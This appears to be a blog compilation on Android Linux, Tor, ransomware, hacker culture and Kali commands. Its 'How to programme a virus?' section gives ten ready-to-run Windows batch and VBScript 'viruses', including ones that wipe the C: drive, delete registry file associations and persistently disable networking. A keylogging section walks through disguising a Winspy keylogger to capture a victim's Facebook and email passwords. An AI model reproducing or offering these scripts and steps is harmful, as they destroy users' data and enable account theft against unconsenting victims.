Install linux on android without root...

Step 1: Installation of GNURoot from Play Store

The first and foremost step is to install the free Android app GNURoot on your Android app. This application installs a fake Linux root file system. Just open the Play Store, search for GNURoot and install the main GNURoot app on your Android device.

Step 2: Select the helper app of a Linux distro

By default, GNURoot offers different ARM-based Linux distros: (Debian) Wheezy, Fedora, Aboriginal (a lightweight BusyBox variant) and Gentoo. Select any one of these and tap “Create New Rootfs” to download the needed files.

This process may take a while, so wait for few minutes.

Step 3: Select the Linux distro and launch

After the download is finished, select that distro from the second drop down option. After ticking the “Launch as Fake Root” box to get the apt-get and other root commands, tap “Launch Rootfs” to install and use Linux on Android phone.

Step 4: It’s ready to use

Afte the installation, you are ready to use Linux on Android phone. Now you should be able to install any package from your distro’s repo using the relevant package manager by apt-get for Wheezy or yum for Fedora.

You can create extra terminal windows by tapping on the ‘+’ button at the top and switch using the top-left drop-down menu.

To access the menu options for various settings, you can tap on the top-right icon and other options.

How to go graphical with Linux on Android phone?

In the four main Linux distros available in GNURoot app, you’ll have to work using the command line. To run the programs needing windows, you’ll need a GUI. This can be implemented using GNURoot WheezyX distro (in the first step). It launches a VNC server, and to see the GUI you need to download VNC Viewer from the Play Store.

For the first time, after the WheezyX distro launches in a terminal window, fire up the VNC viewer app and enter ‘localhost:1’ as address and ‘password’ as the default password.

Doing this, a virtual desktop for a xterm terminal window for Wheezy will launch. Now using the mouse pointer and keyboard icon, you can navigate the Linux on Android.

Tor browser

Tor is free software for enabling anonymous communication. The name is derived from an acronym for the original software project name "The Onion Router". Tor directs Internet traffic through a free, worldwide, volunteer network consisting of more than seven thousand relays to conceal a user's location and usage from anyone conducting network surveillance or traffic analysis. Using Tor makes it more difficult for Internet activity to be traced back to the user: this includes "visits to Web sites, online posts, instant messages, and other communication forms".Tor's use is intended to protect the personal privacy of users, as well as their freedom and ability to conduct confidential communication by keeping their Internet activities from being monitored.

Onion routing is implemented by encryption in the application layer of a communication protocol stack, nested like the layers of an onion. Tor encrypts the data, including the next node destination IP address, multiple times and sends it through a virtual circuit comprising successive, randomly selected Tor relays. Each relay decrypts a layer of encryption to reveal only the next relay in the circuit in order to pass the remaining encrypted data on to it. The final relay decrypts the innermost layer of encryption and sends the original data to its destination without revealing, or even knowing, the source IP address. Because the routing of the communication is partly concealed at every hop in the Tor circuit, this method eliminates any single point at which the communicating peers can be determined through network surveillance that relies upon knowing its source and destination.

Ransomware

Ransomware is a type of malicious software from cryptovirology that blocks access to the victim's data or threatens to publish it until a ransom is paid. Any action is possible once a device or system is infected and there is no guarantee that paying the ransom will return access or not delete the data. Simple ransomware may lock the system in a way which is not difficult for a knowledgeable person to reverse. More advanced malware uses a technique called cryptoviral extortion, in which it encrypts the victim's files, making them inaccessible, and demands a ransom payment to decrypt them.The ransomware may also encrypt the computer's Master File Table (MFT) or the entire hard drive.Thus, ransomware is a denial-of-access attack that prevents computer users from accessing files since it is intractable to decrypt the files without the decryption key. Ransomware attacks are typically carried out using a Trojan that has a payload disguised as a legitimate file.

While initially popular in Russia, the use of ransomware scams has grown internationally in June 2013, security software vendor McAfee released data showing that it had collected over 250,000 unique samples of ransomware in the first quarter of 2013, more than double the number it had obtained in the first quarter of 2012.Wide-ranging attacks involving encryption-based ransomware began to increase through Trojans such as CryptoLocker, which procured an estimated US $3 million before it was taken down by authorities,and CryptoWall, which was estimated by the US Federal Bureau of Investigation (FBI) to have accrued over $18m by June 2015.

How to programme a virus?

1. Make A Virus To Delete Hard Drive
Open your notepad.Copy the code given below and paste it in your notepad

@Echo off

Del C:\ *.* |y

Save the file as virus.bat.That's it, just run the file and see the magic. It will delete all the content of C Drive.

2. Make A Virus To Disable Mouse

Open your notepad.Copy and paste the code in notepad.

rem ---------------------------------

rem Disable Mouse

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

rem ---------------------------------

Save the file as disablemouse.bat and execute it.

3. Make A Virus To Disable Internet Permanently

Copy below code and save it as DisInt.bat.

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo You Have Been HACKED!

PAUSE

4. Virus To Crash Your Computer System

Copy and paste the code and save the file as crash.bat.

Option Explicit

Dim WSHShell

Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x

For x = 1 to 100000000

WSHShell.Run "Tourstart.exe"

Next

5. Make A Virus To Open Notepad Repeatedly 

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save the file as anything.bat.

6. Virus For Popping CD Drive

Set oWMP = CreateObject(”WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 100

loop

Just save it as popout.bat.

7. Delete Key Registry Files

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

:MESSAGE

ECHO Your computer has been destroyed.

GOTO MESSAGE

Save it as delreg.bat.

8. Virus To Make Multiple Folders

@echo off

:RON

md folder1

md folder2

md folder3

md folder4

md folder5

start folder1

start folder2

start folder3

start folder4

start folder5

goto RON

Save it as multifol.bat.

9. Virus To Make Dancing Caps Lock

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

Now save it as dancecap.bat.

10. Virus For Endless Enter

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save the code as endenter.bat.

So that's it.

Kali Linux

Kali Linux

Developer	Offensive Security
OS family	Unix-like
Working state	Active
Latest release	2017.1[1] / April 25, 2017; 24 days ago
Platforms	x86, x86-64, armel, armhf
Kernel type	Monolithic kernel (Linux)
Default user interface	GNOME 3
License	Various
Official website	www.kali.org

Kali Linux is a Debian-derived Linux distribution designed for digital forensics andpenetration testing. It is maintained and funded by Offensive Security Ltd. Mati Aharoni, Devon Kearns and Raphaël Hertzog are the core developers.

Hacker - Brief description

HACKER

In computing, a hacker is any skilled computer expert that uses their technical knowledge to overcome a problem. While "hacker" can refer to any computer programmer, the term has become associated in popular culture with a "security hacker", someone who, with their technical knowledge, uses bugs or exploits to break into computer systems.

Types

Hacker culture

Main article: Hacker culture

Hacker culture, an idea derived from a community of enthusiast computer programmers and systems designers, in the 1960s around the Massachusetts Institute of Technology's (MIT's) Tech Model Railroad Club (TMRC)[1] and MIT Artificial Intelligence Laboratory.[2] The hobbyist home computing community, focusing on hardware in the late 1970s (e.g. the Homebrew Computer Club)[3] and on software (video games,[4] software cracking, the demoscene) in the 1980s/1990s. Later, this would go on to encompass many new definitions such as art, and Life hacking.

Security related hackers

Main article: Security hacker

Security hacker. People involved with circumvention of computer security.

White hats are hackers employed with the efforts of keeping data safe from other hackers by looking for loopholes and hackable areas. This type of hacker typically gets paid quite well, and receives no jail time due to the consent of the company that hired them.

Grey hats are hackers who are neither good nor bad, and often include people who hack 'for fun' or to 'troll'. They may both fix and exploit, though grey hats are usually associated with black hat hackers.

Black hats or crackers are hackers with malicious intentions, and steal, exploit, and sell data. They are usually motivated by personal gain. A cracker [5] is someone who knows the web similar to hackers and doesn't use the internet for gaining any extensive knowledge and are professionals in what they do but they are not the white collar heroes as security hackers are. Crackers use their skills to earn themselves profits or to benefit from criminal gain. Crackers find exploits to systems securities and vulnerabilities but often use them to their advantage by either selling the fix to the company themselves or keeping the exploit and selling it to other black hat hackers to steal information or gain royalties.

Hacker definition ambiguities

Today, mainstream usage of "hacker" mostly refers to computer criminals, due to the mass media usage of the word since the 1980s. This includes what hacker slang calls "script kiddies," people breaking into computers using programs written by others, with very little knowledge about the way they work. This usage has become so predominant that the general public is unaware that different meanings exist.[6] While the self-designation of hobbyists as hackers is acknowledged by all three kinds of hackers, and the computer security hackers accept all uses of the word, people from the programmer subculture consider the computer intrusion related usage incorrect, and emphasize the difference between the two by calling security breakers "crackers" (analogous to a safecracker).

Currently, "hacker" is used in two main conflicting ways:

as someone who is able to subvert computer security; if doing so for malicious purposes, the person can also be called a cracker.[7]

an adherent of the technology and programming subculture.

The controversy is usually based on the assumption that the term originally meant someone messing about with something in a positive sense, that is, using playful cleverness to achieve a goal. But then, it is supposed, the meaning of the term shifted over the decades since it first came into use in a computer context and came to refer to computer criminals.[8]

As usage has spread more widely, the primary misunderstanding of newer users conflicts with the original primary emphasis. In popular usage and in the media, computer intruders or criminals is the exclusive meaning today, with associated pejorative connotations. (For example, "An Internet 'hacker' broke through state government security systems in March.") In the computing community, the primary meaning is a complimentary description for a particularly brilliant programmer or technical expert. (For example, "Linus Torvalds, the creator of Linux, is considered by some to be a hacker.") A large segment of the technical community insist the latter is the "correct" usage of the word (see the Jargon File definition below).

The mainstream media's current usage of the term may be traced back to the early 1980s. When the term was introduced to wider society by the mainstream media in 1983, even those in the computer community referred to computer intrusion as "hacking", although not as the exclusive use of that word. In reaction to the increasing media use of the term exclusively with the criminal connotation, the computer community began to differentiate their terminology. Alternative terms such as "cracker" were coined in an effort to distinguish between those adhering to the historical use of the term "hack" within the programmer community and those performing computer break-ins. Further terms such as "black hat", "white hat" and "gray hat" developed when laws against breaking into computers came into effect, to distinguish criminal activities and those activities which were legal.

However, since network news use of the term pertained primarily to the criminal activities despite this attempt by the technical community to preserve and distinguish the original meaning, the mainstream media and general public continue to describe computer criminals with all levels of technical sophistication as "hackers" and do not generally make use of the word in any of its non-criminal connotations. Members of the media sometimes seem unaware of the distinction, grouping legitimate "hackers" such as Linus Torvalds and Steve Wozniak along with criminal "crackers".[9]

As a result of this difference, the definition is the subject of heated controversy. The wider dominance of the pejorative connotation is resented by many who object to the term being taken from their cultural jargon and used negatively,[10] including those who have historically preferred to self-identify as hackers. Many advocate using the more recent and nuanced alternate terms when describing criminals and others who negatively take advantage of security flaws in software and hardware. Others prefer to follow common popular usage, arguing that the positive form is confusing and unlikely to become widespread in the general public. A minority still use the term in both original senses despite the controversy, leaving context to clarify (or leave ambiguous) which meaning is intended.

However, the positive definition of hacker was widely used as the predominant form for many years before the negative definition was popularized. "Hacker" can therefore be seen as a shibboleth, identifying those who use the technically oriented sense (as opposed to the exclusively intrusion-oriented sense) as members of the computing community. Due to the variety of industry a software designer may find themselves in many prefer not to be referred to as 'Hacker' as the word Hack holds a negative denotation in many of those industries.

A possible middle ground position has been suggested, based on the observation that "hacking" describes a collection of skills and tools which are used by hackers of both descriptions for differing reasons. The analogy is made to locksmithing, specifically picking locks, which—aside from its being a skill with a fairly high tropism to 'classic' hacking—is a skill which can be used for good or evil. The primary weakness of this analogy is the inclusion of script kiddies in the popular usage of "hacker", despite the lack of an underlying skill and knowledge base. Sometimes, hacker also is simply used synonymous to geek: "A true hacker is not a group person. He's a person who loves to stay up all night, he and the machine in a love-hate relationship... They're kids who tended to be brilliant but not very interested in conventional goals[...] It's a term of derision and also the ultimate compliment."[11]

Fred Shapiro thinks that "the common theory that 'hacker' originally was a benign term and the malicious connotations of the word were a later perversion is untrue." He found out that the malicious connotations were present at MIT in 1963 already (quoting The Tech, an MIT student newspaper) and then referred to unauthorized users of the telephone network,[12][13] that is, the phreaker movement that developed into the computer security hacker subculture of today.

Overlaps and differences

The main basic difference between programmer subculture and computer security hackers is their mostly separate historical origin and development. However, the Jargon File reports that considerable overlap existed for the early phreaking at the beginning of the 1970s. An article from MIT's student paper The Tech used the term hacker in this context already in 1963 in its pejorative meaning for someone messing with the phone system.[12] The overlap quickly started to break when people joined in the activity who did it in a less responsible way.[14] This was the case after the publication of an article exposing the activities of Draper and Engressia.

According to Raymond, hackers from the programmer subculture usually work openly and use their real name, while computer security hackers prefer secretive groups and identity-concealing aliases.[15] Also, their activities in practice are largely distinct. The former focus on creating new and improving existing infrastructure (especially the software environment they work with), while the latter primarily and strongly emphasize the general act of circumvention of security measures, with the effective use of the knowledge (which can be to report and help fixing the security bugs, or exploitation reasons) being only rather secondary. The most visible difference in these views was in the design of the MIT hackers' Incompatible Timesharing System, which deliberately did not have any security measures.

There are some subtle overlaps, however, since basic knowledge about computer security is also common within the programmer subculture of hackers. For example, Ken Thompson noted during his 1983 Turing Award lecture that it is possible to add code to the UNIX "login" command that would accept either the intended encrypted password or a particular known password, allowing a back door into the system with the latter password. He named his invention the "Trojan horse". Furthermore, Thompson argued, the C compiler itself could be modified to automatically generate the rogue code, to make detecting the modification even harder. Because the compiler is itself a program generated from a compiler, the Trojan horse could also be automatically installed in a new compiler program, without any detectable modification to the source of the new compiler. However, Thompson disassociated himself strictly from the computer security hackers: "I would like to criticize the press in its handling of the 'hackers,' the 414 gang, the Dalton gang, etc. The acts performed by these kids are vandalism at best and probably trespass and theft at worst. ... I have watched kids testifying before Congress. It is clear that they are completely unaware of the seriousness of their acts."[16]

The programmer subculture of hackers sees secondary circumvention of security mechanisms as legitimate if it is done to get practical barriers out of the way for doing actual work. In special forms, that can even be an expression of playful cleverness.[17] However, the systematic and primary engagement in such activities is not one of the actual interests of the programmer subculture of hackers and it does not have significance in its actual activities, either.[15] A further difference is that, historically, members of the programmer subculture of hackers were working at academic institutions and used the computing environment there. In contrast, the prototypical computer security hacker had access exclusively to a home computer and a modem. However, since the mid-1990s, with home computers that could run Unix-like operating systems and with inexpensive internet home access being available for the first time, many people from outside of the academic world started to take part in the programmer subculture of hacking.

Since the mid-1980s, there are some overlaps in ideas and members with the computer security hacking community. The most prominent case is Robert T. Morris, who was a user of MIT-AI, yet wrote the Morris worm. The Jargon File hence calls him "a true hacker who blundered".[18] Nevertheless, members of the programmer subculture have a tendency to look down on and disassociate from these overlaps. They commonly refer disparagingly to people in the computer security subculture as crackers, and refuse to accept any definition of hacker that encompasses such activities. The computer security hacking subculture on the other hand tends not to distinguish between the two subcultures as harshly, instead acknowledging that they have much in common including many members, political and social goals, and a love of learning about technology. They restrict the use of the term cracker to their categories of script kiddies and black hat hackers instead.

All three subcultures have relations to hardware modifications. In the early days of network hacking, phreaks were building blue boxes and various variants. The programmer subculture of hackers has stories about several hardware hacks in its folklore, such as a mysterious 'magic' switch attached to a PDP-10 computer in MIT's AI lab, that, when turned off, crashed the computer.[19] The early hobbyist hackers built their home computers themselves, from construction kits. However, all these activities have died out during the 1980s, when the phone network switched to digitally controlled switchboards, causing network hacking to shift to dialing remote computers with modems, when pre-assembled inexpensive home computers were available, and when academic institutions started to give individual mass-produced workstation computers to scientists instead of using a central timesharing system. The only kind of widespread hardware modification nowadays is case modding.

An encounter of the programmer and the computer security hacker subculture occurred at the end of the 1980s, when a group of computer security hackers, sympathizing with the Chaos Computer Club (who disclaimed any knowledge in these activities), broke into computers of American military organizations and academic institutions. They sold data from these machines to the Soviet secret service, one of them in order to fund his drug addiction. The case was solved when Clifford Stoll, a scientist working as a system administrator, found ways to log the attacks and to trace them back (with the help of many others). 23, a German film adaption with fictional elements, shows the events from the attackers' perspective. Stoll described the case in his book The Cuckoo's Egg and in the TV documentary The KGB, the Computer, and Me from the other perspective. According to Eric S. Raymond, it "nicely illustrates the difference between 'hacker' and 'cracker'. Stoll's portrait of himself, his lady Martha, and his friends at Berkeley and on the Internet paints a marvelously vivid picture of how hackers and the people around them like to live and how they think.

What is a computer?

A computer is a device that can be instructed to carry out an arbitrary set of arithmetic or logical operations automatically. The ability of computers to follow generalized sequences of operations, called programs, enable them to perform a wide range of tasks.

Such computers are used as control systems for a very wide variety of industrial and consumer devices. This includes simple special purpose devices like microwave ovens and remote controls, factory devices such as industrial robots and computer assisted design, but also in general purpose devices like personal computers and mobile devices such as smartphones. The Internet is run on computers and it connects millions of other computers.

Since ancient times, simple manual devices like the abacus aided people in doing calculations. Early in the Industrial Revolution, some mechanical devices were built to automate long tedious tasks, such as guiding patterns for looms. More sophisticated electrical machines did specialized analog calculations in the early 20th century. The first digital electronic calculating machines were developed during World War II. The speed, power, and versatility of computers has increased continuously and dramatically since then.

Conventionally, a modern computer consists of at least one processing element, typically a central processing unit (CPU), and some form of memory. The processing element carries out arithmetic and logical operations, and a sequencing and control unit can change the order of operations in response to stored information. Peripheral devices include input devices (keyboards, mice, joystick, etc.), output devices (monitor screens, printers, etc.), and input/output devices that perform both functions (e.g., the 2000s-era touchscreen). Peripheral devices allow information to be retrieved from an external source and they enable the result of operations to be saved and retrieved.

What is keylogging?

What is Keylogging?
Keylogging is one of the easiest and most widely used hacking method for hacking Facebook passwords. The word keylogging means to keep a track / log of the keys pressed on the computer.There are mainly two ways of keylogging, Software and hardware.

1) Hardware:- Special computer devices for keylogging are available. They are connected to the keyboard wire and then to the CPU. It looks like the keyboard wire's part and cant be easily detected.When needed the device can be disconnected and the logs can be viewed.

*Bad points:- This method is mostly not preferred for hacking facebook passwords, as the devices are costly and need physical access to the computer.
2 ) Software :- There are thousands of different keylogger software which provide the user with a wide range of options.From them the keylogger which can be remotely installed is preferred for hacking Facebook passwords.They keep log of the keys pressed on the target's computer while remaining hidden and after some specific time send it as a email to the user without the target's knowledge..
*Bad points :-Most of the keyloggers are detected by the Antivirus and Firewall softwares, but some keyloggers are able to bypass the Antivirus and Firewall software. You also have to convince the target to install the keylogger while remote installing it.
*Bad points :-Most of the keyloggers are detected by the Antivirus and Firewall softwares, but some keyloggers are able to bypass the Antivirus and Firewall software. You also have to convince the target to install the keylogger while remote installing it Like-

Winspy Keylogger
1. First of all free download Winspy keylogger software from link given below:
Download winspy keylogger
2. After downloading winspy keylogger to hack Facebook account password, run the application. On running, a dialog box will be prompted. Now, create an user-id and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.
3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software.

4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.

5. Now, Winspy’s main screen will be displayed as shown in image below:

6. Select Remote at top, then Remote install.
7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.

.user - type in the victim’s name
.file name - Name the file to be sent. Use the name such that victim will love to accept it.
.file icon - keep it the same
.picture - select the picture you want to apply to the keylogger.
In the textfield of “Email keylog to”, enter your email address. Hotmail accounts do not accept keylog files, so use another emailaccount id,my sugession is using a Gmail id
Thats it. This much is enough. If you want, can change other settings also.
8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Facebook account password.

Your voice to stop your Alarm..

Lets See How To Use Wake Alarm Voice Clock

Step:1) first of all you need to install Wake Alarm Voice Clock in your android mobile you can downoad it  from the Google Play Store,direct link for google play store is provided below click on it and download Wake Alarm Voice Clock   

Download from here

Step:2) when you download and install ,After that  Launch the app in your phone menu

Step:3) Now Set your Alarm time.

Step:4) Also here you need to  Select Speech Synthesis and Voice Recognition option which is given you on the screen .

Step:5) you also customize it like below figure For getting info about weather, events, news and horoscopes.(By Make it on or off)

Step:6) After that your voice is recognized by the app or not you need to check it by  Clicking on "alarm clock Test" and  Just say stop for stopping or snooze for snoozing.

 

That's it friends.

Thank you.

Techify team.

What is footprinting?

WHAT IS FOOTPRINTING?

Footprinting is a part of reconnaissance process which is used for gathering possible information about a target computer system or network. Footprinting could be both
passive and active . Reviewing a company’s website is an example of passive footprinting, whereas attempting to gain access to sensitive information through social engineering is an example of active information gathering.
Footprinting is basically the first step where hacker gathers as much information as possible to find ways to intrude into a target system or at least decide what type of attacks will be more suitable for the target.
During this phase, a hacker can collect the following information −
>Domain name
>IP Addresses
>Namespaces
>Employee information
>Phone numbers
>E-mails
>Job Information

KALI LINUX A-Z COMMANDS

KALI LINUX COMMANDS....A-Z

Here below we are listing A-Z Kali Linux commands which will help you to ease of flow in work.

A

 apropos

 Search Help manual pages (man -k)

 apt-get

 Search for and install software packages (Debian)

 aptitude

 Search for and install software packages (Debian)

 aspell

 Spell Checker

 awk

 Find and Replace text, database sort/validate/index

B

 basename

 Strip directory and suffix from filenames

 bash

 GNU Bourne-Again Shell

 bc

 Arbitrary precision calculator language

 bg

 Send to background

 break

 Exit from a loop

 builtin

 Run a shell builtin

 bzip2

 Compress or decompress named files

C

 cal

 Display a calendar

 case

 Conditionally perform a command

 cat

 Concatenate and print (display) the content of files

 cd

 Change Directory

 cfdisk

 Partition table manipulator for Linux

 chgrp

 Change group ownership

 chmod

 Change access permissions

 chown

 Change file owner and group

 chroot

 Run a command with a different root directory

 chkconfig

 System services (runlevel)

 cksum

 Print CRC checksum and byte counts

 clear

 Clear terminal screen

 cmp

 Compare two files

 comm

 Compare two sorted files line by line

 command

 Run a command – ignoring shell functions

 continue

 Resume the next iteration of a loop

 cp

 Copy one or more files to another location

 cron

 Daemon to execute scheduled commands

 crontab

 Schedule a command to run at a later time

 csplit

 Split a file into context-determined pieces

 cut

 Divide a file into several parts

D

 date

 Display or change the date and time

 dc

 Desk Calculator

 dd

 Convert and copy a file, write disk headers, boot records

 ddrescue

 Data recovery tool

 declare

 Declare variables and give them attributes

 df

 Display free disk space

 diff

 Display the differences between two files

 diff3

 Show differences among three files

 dig

 DNS lookup

 dir

 Briefly list directory contents

 dircolors

 Colour setup for `ls’

 dirname

 Convert a full pathname to just a path

 dirs

 Display list of remembered directories

 dmesg

 Print kernel & driver messages

 du

 Estimate file space usage

E

 echo

 Display message on screen

 egrep

 Search files for lines that match an extended expression

 eject

 Eject removable media

 enable

 Enable and disable builtin shell commands

 env

 Environment variables

 ethtool

 Ethernet card settings

 eval

 Evaluate several commands/arguments

 exec

 Execute a command

 exit

 Exit the shell

 expect

 Automate arbitrary applications accessed over a terminal

 expand

 Convert tabs to spaces

 export

 Set an environment variable

 expr

 Evaluate expressions

F

 false

 Do nothing, unsuccessfully

 fdformat

 Low-level format a floppy disk

 fdisk

 Partition table manipulator for Linux

 fg

 Send job to foreground

 fgrep

 Search files for lines that match a fixed string

 file

 Determine file type

 find

 Search for files that meet a desired criteria

 fmt

 Reformat paragraph text

 fold

 Wrap text to fit a specified width

 for

 Expand words, and execute commands

 format

 Format disks or tapes

 free

 Display memory usage

 fsck

 File system consistency check and repair

 ftp

 File Transfer Protocol

 function

 Define Function Macros

 fuser

 Identify/kill the process that is accessing a file

G

 gawk

 Find and Replace text within files

 getopts

 Parse positional parameters

 grep

 Search files for lines that match a given pattern

 groupadd

 Add a user security group

 groupdel

 Delete a group

 groupmod

 Modify a group

 groups

 Print group names a user is in

 gzip

 Compress or decompress named files

H

 hash

 Remember the full pathname of a name argument

 head

 Output the first part of files

 help

 Display help for a built-in command

 history

 Command History

 hostname

 Print or set system name

I

 iconv

 Convert the character set of a file

 id

 Print user and group id’s

 if

 Conditionally perform a command

 ifconfig

 Configure a network interface

 ifdown

 Stop a network interface

 ifup

 Start a network interface up

 import

 Capture an X server screen and save the image to file

 install

 Copy files and set attributes

J

 jobs

 List active jobs

 join

 Join lines on a common field

K

 kill

 Stop a process from running

 killall

 Kill processes by name

L

 less

 Display output one screen at a time

 let

 Perform arithmetic on shell variables

 ln

 Create a symbolic link to a file

 local

 Create variables

locate

 Find files

 logname

 Print current login name

 logout

 Exit a login shell

 look

 Display lines beginning with a given string

 lpc

 Line printer control program

 lpr

 Off line print

 lprint

 Print a file

 lprintd

 Abort a print job

 lprintq

 List the print queue

 lprm

 Remove jobs from the print queue

 ls

 List information about files

 lsof

 List open files

M

 make

 Recompile a group of programs

 man

 Help manual

 mkdir

 Create new folders

 mkfifo

 Make FIFOs (named pipes)

 mkisofs

 Create an hybrid ISO9660/JOLIET/HFS filesystem

 mknod

 Make block or character special files

 more

 Display output one screen at a time

 mount

 Mount a file system

 mtools

 Manipulate MS-DOS files

 mtr

 Network diagnostics (traceroute/ping)

 mv

 Move or rename files or directories

 mmv

 Mass Move and rename files

N

 netstat

 Networking information

 nice

 Set the priority of a command or job

 nl

 Number lines and write files

 nohup

 Run a command immune to hangups

 notify-send

 Send desktop notifications

 nslookup

 Query Internet name servers interactively

O

 open

 Open a file in its default application

 op

 Operator access

P

 passwd

 Modify a user password

 paste

 Merge lines of files

 pathchk

 Check file name portability

 ping

 Test a network connection

 pkill

 Stop processes from running

 popd

 Restore the previous value of the current directory

 pr

 Prepare files for printing

 printcap

 Printer capability database

 printenv

 Print environment variables

 printf

 Format and print data

 ps

 Process status

 pushd

 Save and then change the current directory

 pwd

 Print Working Directory

Q

 quota

 Display disk usage and limits

 quotacheck

 Scan a file system for disk usage

 quotactl

 Set disk quotas

R

 ram

 ram disk device

 rcp

 Copy files between two machines

 read

 Read a line from standard input

 readarray

 Read from stdin into an array variable

 readonly

 Mark variables/functions as readonly

 reboot

 Reboot the system

 rename

 Rename files

 renice

 Alter priority of running processes

 remsync

 Synchronize remote files via email

 return

 Exit a shell function

 rev

 Reverse lines of a file

 rm

 Remove files

 rmdir

 Remove folders

 rsync

 Remote file copy (Synchronize file trees)

S

 screen

 Multiplex terminal, run remote shells via ssh

 scp

 Secure copy (remote file copy)

 sdiff

 Merge two files interactively

 sed

 Stream Editor

 select

 Accept keyboard input

 seq

 Print numeric sequences

 set

 Manipulate shell variables and functions

 sftp

 Secure File Transfer Program

 shift

 Shift positional parameters

 shopt

 Shell Options

 shutdown

 Shutdown or restart linux

 sleep

 Delay for a specified time

 slocate

 Find files

 sort

 Sort text files

 source

 Run commands from a file

 split

 Split a file into fixed-size pieces

 ssh

 Secure Shell client (remote login program)

 strace

 Trace system calls and signals

 su

 Substitute user identity

 sudo

 Execute a command as another user

 sum

 Print a checksum for a file

 suspend

 Suspend execution of this shell

 symlink

 Make a new name for a file

 sync

 Synchronize data on disk with memory

T

 tail

 Output the last part of file

 tar

 Tape Archiver

 tee

 Redirect output to multiple files

 test

 Evaluate a conditional expression

 time

 Measure Program running time

 times

 User and system times

 touch

 Change file timestamps

 top

 List processes running on the system

 traceroute

 Trace Route to Host

 trap

 Run a command when a signal is set(bourne)

 tr

 Translate, squeeze, and/or delete characters

 true

 Do nothing, successfully

 tsort

 Topological sort

 tty

 Print filename of terminal on stdin

 type

 Describe a command

U

 ulimit

 Limit user resources

 umask

 Users file creation mask

 umount

 Unmount a device

 unalias

 Remove an alias

 uname

 Print system information

 unexpand

 Convert spaces to tabs

 uniq

 Uniquify files

 units

 Convert units from one scale to another

 unset

 Remove variable or function names

 unshar

 Unpack shell archive scripts

 until

 Execute commands (until error)

 uptime

 Show uptime

 useradd

 Create new user account

 usermod

 Modify user account

 users

 List users currently logged in

 uuencode

 Encode a binary file

 uudecode

 Decode a file created by uuencode

V

 v

 Verbosely list directory contents (`ls -l -b’)

 vdir

 Verbosely list directory contents (`ls -l -b’)

 vi

 Text Editor

 vmstat

 Report virtual memory statistics

W

 wait

 Wait for a process to complete

 watch

 Execute/display a program periodically

 wc

 Print byte, word, and line counts

 whereis

 Search the user’s $path, man pages and source files for a program

 which

 Search the user’s $path for a program file

 while

 Execute commands

 who

 Print all usernames currently logged in

 whoami

 Print the current user id and name (`id -un’)

 wget

 Retrieve web pages or files via HTTP, HTTPS or FTP

 write

 Send a message to another user

X

 xargs

 Execute utility, passing constructed argument lists

 xdg-open

 Open a file or URL in the user’s preferred application

Y

 yes

  Print a string until interrupted
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